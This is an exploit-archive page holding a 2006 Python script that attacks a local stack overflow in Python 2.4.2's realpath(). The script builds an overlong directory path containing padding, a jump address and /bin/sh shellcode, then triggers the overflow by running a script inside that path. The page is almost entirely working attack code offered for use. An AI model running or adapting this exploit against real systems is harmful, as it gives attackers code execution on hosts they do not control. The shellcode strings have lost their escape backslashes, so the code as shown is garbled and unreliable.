Python <= 2.4.2 realpath() Local Stack Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Python <= 2.4.2 realpath() Local Stack Overflow Exploit
# Published : 2006-03-18
# Author : Gotfault Security
# Previous Title : X.Org X11 (X11R6.9.0/X11R7.0) Local Root Privilege Escalation Exploit
# Next Title : MS Windows Telephony Service Command Execution Exploit (MS05-040)

#!/usr/bin/python
 
# gexp-python.py
# 
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
#			      posidron (Tripbit Research Group).
# Enviroment:
#
# Kernel Version	 : 2.6.12.5-vs2.0
# GCC Version		 : 4.0.3
# Libc Version		 : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
#			   RFDSLabs, barros, izik,
#			   Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp    = "x5fxe7xffxff"

shell  = "xebx1ax5ex31xc0x88x46x07x8dx1e"
shell += "x89x5ex08x89x46x0cxb0x0bx89xf3"
shell += "x8dx4ex08x8dx56x0cxcdx80xe8xe1"
shell += "xffxffxffx2fx62x69x6ex2fx73x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)

# www.Syue.com [2006-03-18]